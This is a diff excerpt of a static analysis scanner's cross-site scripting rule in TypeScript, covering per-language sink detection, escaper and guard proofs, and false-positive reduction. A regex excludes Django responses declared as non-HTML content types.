'with one exception - a local definition that returns its argument unchanged is ' +
|
|
321
|
+
'rejected. A local `escapeHtml` that escapes only some characters would be ' +
|
|
322
|
+
'believed. Python, Java and Go are not covered by that check at all and report ' +
|
|
323
|
+
'on shape alone.',
|
|
324
|
+
shapes: ['call', 'assignment'],
|
|
325
|
+
support: {
|
|
326
|
+
javascript: {
|
|
327
|
+
status: 'implemented',
|
|
328
|
+
note: "Covers innerHTML/outerHTML/srcdoc assignment, document.write, insertAdjacentHTML, jQuery .html/.append, React dangerouslySetInnerHTML, and Angular's bypassSecurityTrust* calls.",
|
|
329
|
+
},
|
|
330
|
+
typescript: {
|
|
331
|
+
status: 'implemented',
|
|
332
|
+
note: 'Identical to JavaScript, including .tsx files via the tsx grammar.',
|
|
333
|
+
},
|
|
334
|
+
python: {
|
|
335
|
+
status: 'partial',
|
|
336
|
+
note: 'PARTIAL: Django/Flask escape hatches (mark_safe, Markup, render_template_string, HttpResponse with built HTML) are detected, and so is a str returned from a Flask `@...route` view (sent as text/html) when the value is a str by construction - a returned name that might hold a dict is not. An HttpResponse whose call declares content_type="text/plain", "text/csv" or "application/json" is not a page and is not reported; a content type passed positionally or through a variable is not read, so that response still reports. Template files themselves (.html, .jinja) are NOT parsed at all, so `{{ x|safe }}` inside a template is invisible.',
|
|
337
|
+
},
|
|
338
|
+
java: {
|
|
339
|
+
status: 'partial',
|
|
340
|
+
note: 'PARTIAL: only servlet-style out.print/response.getWriter().write with built HTML. JSP files and Thymeleaf/Freemarker templates are not parsed.',
|
|
341
|
+
},
|
|
342
|
+
go: {
|
|
343
|
+
status: 'partial',
|
|
344
|
+
note: 'PARTIAL: template.HTML/template.JS conversions and w.Write/fmt.Fprintf with built HTML. Note that Go\'s html/template escapes automatically, so the template.HTML() conversion is the main real risk - which is exactly what we check.',
|
|
345
|
+
},
|
|
346
|
+
php: {
|
|
347
|
+
status: 'partial',
|
|
348
|
+
note: 'PARTIAL: `echo`/`print` of a built string, and printf/vprintf/print_r/var_dump. The escaper proof that covers JavaScript does NOT run here, so a value passed through htmlspecialchars in the same expression still reports on shape alone - the data-flow pass is what clears those. Blade and Twig templates are not parsed at all, so `{!! $x !!}` inside one is invisible.',
|
|
349
|
+
},
|
|
350
|
+
c: {
|
|
351
|
+
status: 'not-implemented',
|
|
352
|
+
note:
|
|
353
|
+
"C can serve HTML - that is what CGI was - but nothing in the source distinguishes a CGI binary from any other program, and printf to stdout is what every command-line tool does. Listing it would report cross-site scripting on a build script's progress message. A tainted printf FORMAT is still reported, by the format-string rule, for the bug it actually is.",
|
|
354
|
+
},
|
|
355
|
+
cpp: {
|
|
356
|
+
status: 'not-implemented',
|
|
357
|
+
note:
|
|
358
|
+
'Not implemented for the same reason as C: nothing in the source separates a web-serving binary from an ordinary program, so listing the output calls would report cross-site scripting on every console message. A tainted printf format is still reported by the format-string rule.',
|
|
359
|
+
},
|
|
360
|
+
},
|
|
361
|
+
check(shape, ctx): RuleHit | null {
|
|
362
|
+
const language = ctx.language;
|
|
363
|
+
|
|
364
|
+
/* ---- Assignment into an HTML-parsing property ---- */
|
|
365
|
+
const assignment = asAssignment(shape);
|
|
366
|
+
if (assignment) {
|
|
367
|
+
if (!HTML_SINK_PROPERTIES[language].includes(assignment.targetName)) return null;
|
|
368
|
+
const built = analyzeStringExpression(assignment.value, language);
|
|
369
|
+
// A hard-coded HTML string is fine - nobody can inject into a constant.
|
|
370
|
+
if (!built.isDynamic) return null;
|
|
371
|
+
|
|
372
|
+
/* Before shouting, do the work: can every spliced-in value be proven
|
|
373
|
+
* incapable of carrying markup? See lib/html-safety.ts for why this
|
|
374
|
+
* exists - the short version is that the old text claimed no escaper was
|
|
375
|
+
* visible on lines where the escaper was four characters away. */
|
|
376
|
+
const safety = judgeSafety(assignment.value, ctx, language);
|
|
377
|
+
if (safety?.proven) return null;
|
|
378
|
+
/*
|
|
379
|
+
* The same escaper proof the CALL branch does. It has to be here as well
|
|
380
|
+
* because PHP's `echo` is modelled as an assignment target, and `echo
|
|
381
|
+
* esc_html( $x )` is 2,547 of WordPress's 2,971 XSS findings - i.e. the
|
|
382
|
+
* single biggest false-positive cluster this project has ever produced
|
|
383
|
+
* sat on the one branch that had no proof step at all.
|
|
384
|
+
*/
|
|
385
|
+
if (
|
|
386
|
+
built.dynamicParts.length > 0 &&
|
|
387
|
+
built.dynamicParts.every((part) => readsAsEscaperCall(part, language))
|
|
388
|
+
) {
|
|
389
|
+
return null;
|
|
390
|
+
}
|
|
391
|
+
|
|
392
|
+
/*
|
|
393
|
+
* A VALIDATION GUARD. `ctype_alnum($name)` proves the value carries no
|
|
394
|
+
* angle bracket or quote, so inside that branch it cannot inject markup.
|
|
395
|
+
* A guard establishes its fact in the CONTROL FLOW rather than by
|
|
396
|
+
* transforming the value, which is why the escaper proof above cannot see
|
|
397
|
+
* it. See lib/guards.ts - the predicate list is deliberately tiny, because
|
|
398
|
+
* a guard rule that fires too often costs silence rather than precision.
|
|
399
|
+
*/
|
|
400
|
+
if (partsAreGuarded(assignment.value, built.dynamicParts, language, 'xss')) return null;
|
|
401
|
+
|
|
402
|
+
/*
|
|
403
|
+
* `echo $x` IS NOT `innerHTML = x`, AND THEY HAD THE SAME SEVERITY.
|
|
404
|
+
*
|
|
405
|
+
* WordPress produced 1,940 findings on this branch. 868 of them were a
|
|
406
|
+
* bare variable - `echo $post_link;` - with no markup visible, no source
|
|
407
|
+
* visible, and nothing to prove in either direction. Those are not false
|
|
408
|
+
* positives. They are honest. They are also useless at that volume: 868
|
|
409
|
+
* repetitions of "I cannot prove this is safe" carries the same
|
|
410
|
+
* information as "WordPress echoes a lot of variables", and it buried the
|
|
411
|
+
* 64 findings that DID have a traced path underneath it.
|
|
412
|
+
*
|
|
413
|
+
* The asymmetry that makes this fixable: `element.innerHTML = x` names
|
|
414
|
+
* HTML in the sink itself - the browser will parse it, guaranteed. `echo`
|
|
415
|
+
* is print. It is only HTML because something downstream happens to be a
|
|
416
|
+
* browser, and when the expression contains no markup either, there are
|
|
417
|
+
* two guesses stacked on each other rather than one fact.
|
|
418
|
+
*
|
|
419
|
+
* The CALL branch already refuses to fire without visible markup, for
|
|
420
|
+
* exactly this reason ("otherwise every logger lights up"). This is that
|
|
421
|
+
* same gate, applied as a RANK rather than a silence, because a variable
|
|
422
|
+
* holding HTML assembled elsewhere is a real WordPress bug shape and
|
|
423
|
+
* dropping it would be deciding for the reader.
|
|
424
|
+
*/
|
|
425
|
+
const printSink = language === 'php';
|
|
426
|
+
const noMarkupVisible = printSink && !looksLikeHtml(built.literalText);
|
|
427
|
+
|
|
428
|
+
return {
|
|
429
|
+
node: assignment.node,
|
|
430
|
+
...(noMarkupVisible ? { severity: 'low' as const } : {}),
|
|
431
|
+
message: noMarkupVisible
|
|
432
|
+
? `Unescaped value written by \`${assignment.targetName}\` (no source traced)`
|
|
433
|
+
: `Value assigned to \`${assignment.targetName}\` is parsed as HTML`,
|
|
434
|
+
reasoning: noMarkupVisible
|
|
435
|
+
? `\`${assignment.targetName}\` writes this value out without escaping it, and if the ` +
|
|
436
|
+
`page is HTML the browser reads whatever it contains as markup. That is the whole ` +
|
|
437
|
+
`of what we know. There is NO literal HTML at this line and NO attacker-controlled ` +
|
|
438
|
+
`source was traced into it, so this is not evidence of a bug - it is the absence of ` +
|
|
439
|
+
`a proof of safety, ranked low to say so. ${describeSafety(safety, built.dynamicParts, language)}` +
|
|
440
|
+
`If the value is text, wrap it in esc_html(). If it is meant to be markup, wp_kses() ` +
|
|
441
|
+
`states which tags you intended. A finding on this line with a traced path would be ` +
|
|
442
|
+
`reported separately and would rank far above it.`
|
|
443
|
+
: `Assigning to \`${assignment.targetName}\` makes the browser parse the value as ` +
|
|
444
|
+
`HTML, so any tags or event handlers inside it run. The value here is not a ` +
|
|
445
|
+
`fixed string - it was built via ${built.mechanism}. ` +
|
|
446
|
+
describeSafety(safety, built.dynamicParts, language) +
|
|
447
|
+
`\`textContent\` would render the same value harmlessly as text.`,
|
|
448
|
+
};
|
|
449
|
+
}
|
|
450
|
+
|
|
451
|
+
/* ---- Call that writes HTML or disables escaping ---- */
|
|
452
|
+
const call = asCall(shape);
|
|
453
|
+
if (call) {
|
|
454
|
+
if (!HTML_SINK_CALLS[language].includes(call.calleeName)) return null;
|
|
455
|
+
|
|
456
|
+
/*
|
|
457
|
+
* THE SIGNATURE RULES KEEP THEIR OWN SINK LISTS, and the scoping sweep
|
|
458
|
+
* that fixed the taint dictionary did not touch them.
|
|
459
|
+
*
|
|
460
|
+
* A fixture written to prove `fmt.Fprintf(buf, ...)` had stopped being
|
|
461
|
+
* cross-site scripting still reported `digest.Write([]byte(...))` on a
|
|
462
|
+
* SHA-256 hash - because this list, not the dictionary, matched it. Same
|
|
463
|
+
* defect, second surface, found only because the fixture was checked
|
|
464
|
+
* rather than assumed.
|
|
465
|
+
*
|
|
466
|
+
* Go's writer names get the receiver test the dictionary already applies.
|
|
467
|
+
* `w`, `rw` and anything response-shaped writes a page; a buffer, a file
|
|
468
|
+
* and a hash do not.
|
|
469
|
+
*/
|
|
470
|
+
if (language === 'go' && GO_WRITER_NAMES.has(call.calleeName)) {
|
|
471
|
+
const destination =
|
|
472
|
+
call.calleeName.startsWith('Fprint') ? (call.args[0]?.text ?? '') : call.receiverText;
|
|
473
|
+
if (!GO_PAGE_WRITER.test(destination)) return null;
|
|
474
|
+
}
|
|
475
|
+
|
|
476
|
+
// A Django response that declares itself text, CSV or JSON is not a
|
|
477
|
+
// page - the same test the data-flow sink applies (taint/content-type.ts).
|
|
478
|
+
if (language === 'python' && call.calleeName === 'HttpResponse' && DECLARED_NOT_HTML.test(call.node.text ?? '')) {
|
|
479
|
+
return null;
|
|
480
|
+
}
|
|
481
|
+
|
|
482
|
+
const isEscapeHatch = ESCAPE_HATCHES.has(call.calleeName);
|
|
483
|
+
|
|
484
|
+
for (const rawArg of call.args) {
|
|
485
|
+
// `render_template_string("{{ config }}", config=42)` - a keyword
|
|
486
|
+
// argument wraps its value, and `analyzeStringExpression` cannot see a
|
|
487
|
+
// string type on the wrapper, so it reported "opaque" and the escape
|
|
488
|
+
// hatch fired on the number 42. Unwrap to the value being passed.
|
|
489
|
+
const arg =
|
|
490
|
+
rawArg.type === 'keyword_argument' || rawArg.type === 'argument'
|
|
491
|
+
? (rawArg.childForFieldName('value') ??
|
|
492
|
+
rawArg.namedChildren.filter((c): c is Node => c !== null).pop() ??
|
|
493
|
+
rawArg)
|
|
494
|
+
: rawArg;
|
|
495
|
+
const built = analyzeStringExpression(arg, language);
|
|
496
|
+
|
|
497
|
+
// `Markup("<html>")` with a fixed string is safe - there is nothing for
|
|
498
|
+
// an attacker to put inside a constant. Measured against Flask's own
|
|
499
|
+
// source, requiring a dynamic argument removed most of the noise from
|
|
500
|
+
// this branch without losing a single real escape-hatch misuse.
|
|
501
|
+
if (isEscapeHatch && !built.isDynamic) continue;
|
|
502
|
+
// A constant is a constant whatever its type. Numbers, booleans and
|
|
503
|
+
// None have no room inside them for an attacker to write markup, and
|
|
504
|
+
// an escape hatch handed one is not a promise about anything.
|
|
505
|
+
if (isEscapeHatch && CONSTANT_NODES.has(arg.type)) continue;
|
|
506
|
+
|
|
507
|
+
/*
|
|
508
|
+
* AN ESCAPE HATCH WHOSE EVERY VALUE IS ESCAPED IS THE CORRECT CODE.
|
|
509
|
+
*
|
|
510
|
+
* Nine of gitea's seventeen Go XSS findings were `template.HTML(...)`
|
|
511
|
+
* wrapped around a string in which every single interpolation had
|
|
512
|
+
* already been through `html.EscapeString`. That is not a misuse of the
|
|
513
|
+
* hatch - in Go it is the ONLY way to return assembled markup from a
|
|
514
|
+
* template helper, and escaping each part first is exactly what you are
|
|
515
|
+
* supposed to do.
|
|
516
|
+
*
|
|
517
|
+
* Reporting it is the worst kind of false positive, because the thing
|
|
518
|
+
* being reported IS the fix: a developer who acts on the finding deletes
|
|
519
|
+
* the escaping. This project has hit that shape three times now
|
|
520
|
+
* (unserialize allowed_classes, yaml SafeLoader, SQL placeholders), and
|
|
521
|
+
* it is the failure mode worth spending code to avoid.
|
|
522
|
+
*
|
|
523
|
+
* TEXTUAL, AND SAYING SO. The JS/TS path proves this properly through
|
|
524
|
+
* lib/html-safety.ts, which resolves identifiers and judges function
|
|
525
|
+
* bodies. This asks a smaller question - does every spliced-in part
|
|
526
|
+
* READ as a call to a known escaper - and it is weaker for it: an
|
|
527
|
+
* escaper reached through a variable (`safe := html.EscapeString(x)`
|
|
528
|
+
* then `template.HTML("<b>" + safe)`) is not recognised and still
|
|
529
|
+
* reports. Under-claiming, which is the right direction to be wrong in.
|
|
530
|
+
*/
|
|
531
|
+
const isEscaped = (part: string): boolean => readsAsEscaperCall(part, language);
|
|
532
|
+
const everyPartEscaped =
|
|
533
|
+
built.dynamicParts.length > 0 && built.dynamicParts.every(isEscaped);
|
|
534
|
+
if (everyPartEscaped) continue;
|
|
535
|
+
|
|
536
|
+
if (isEscapeHatch) {
|
|
537
|
+
return {
|
|
538
|
+
node: call.node,
|
|
539
|
+
message: `\`${call.calleeText}()\` marks a value as trusted HTML, disabling escaping`,
|
|
540
|
+
reasoning:
|
|
541
|
+
`\`${call.calleeText}()\` exists to tell the template engine "do not escape ` +
|
|
542
|
+
`this - it is safe HTML". That promise is only true if the value contains no ` +
|
|
543
|
+
`attacker-controlled text. Here the value is ` +
|
|
544
|
+
`${built.isDynamic ? `built at runtime via ${built.mechanism}` : 'a runtime value'}, ` +
|
|
545
|
+
`so the promise is being made about text nobody has checked.`,
|
|
546
|
+
};
|
|
547
|
+
}
|
|
548
|
+
|
|
549
|
+
// For generic writers, require the text to actually look like markup -
|
|
550
|
+
// otherwise every logger and every fmt.Fprintf in the repo lights up.
|
|
551
|
+
if (!built.isDynamic) continue;
|
|
552
|
+
if (!looksLikeHtml(built.literalText)) continue;
|
|
553
|
+
|
|
554
|
+
const safety = judgeSafety(arg, ctx, language);
|
|
555
|
+
if (safety?.proven) continue;
|
|
556
|
+
|
|
557
|
+
return {
|
|
558
|
+
node: arg,
|
|
559
|
+
message: `HTML written by ${call.calleeText}() is built with ${built.mechanism}`,
|
|
560
|
+
reasoning:
|
|
561
|
+
`\`${call.calleeText}()\` writes its argument into the response or the document. ` +
|
|
562
|
+
`The argument contains literal HTML ("${built.literalText.replace(/\s+/g, ' ').trim().slice(0, 60)}") ` +
|
|
563
|
+
`and was assembled via ${built.mechanism}. ` +
|
|
564
|
+
describeSafety(safety, built.dynamicParts, language) +
|
|
565
|
+
`Markup inside an unescaped value reaches the browser as instructions.`,
|
|
566
|
+
};
|
|
567
|
+
}
|
|
568
|
+
}
|
|
569
|
+
|
|
570
|
+
return null;
|
|
571
|
+
},
|
|
572
|
+
};
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* A RESPONSE THAT SAYS IT IS NOT A PAGE.
|
|
3
|
+
* =====================================
|
|
4
|
+
*
|
|
5
|
+
* `HttpResponse(request.body, content_type="text/plain")` puts request data in
|
|
6
|
+
* the response - and a browser shows text/plain, CSV and JSON as text. It parses
|
|
7
|
+
* no markup and runs no script (Django also sends X-Content-Type-Options:
|
|
8
|
+
* nosniff by default, so the type is not second-guessed). Scanning Django
|
|
9
|
+
* reported exactly this as a flow-verified XSS.
|
|
10
|
+
*
|
|
11
|
+
* Shared by the data-flow sink (taint/dictionaries.ts) and the signature rule
|
|
12
|
+
* (rules/xss.ts), so the two cannot disagree about what a page is.
|
|
13
|
+
*
|
|
14
|
+
* Only a literal `content_type=` keyword in the call is read. A positional
|
|
15
|
+
* content type, or one held in a variable, still reports. SVG and XML are not
|
|
16
|
+
* on the list: both can carry script (tests/fixtures/vulnerable/
|
|
17
|
+
* django-responses.py).
|
|
18
|
+
*/
|
|
19
|
+
export const DECLARED_NOT_HTML =
|
|
20
|
+
/\bcontent_type\s*=\s*(["'])\s*(?:text\/plain|text\/csv|application\/json)\s*(?:;[^"']*)?\1/;
|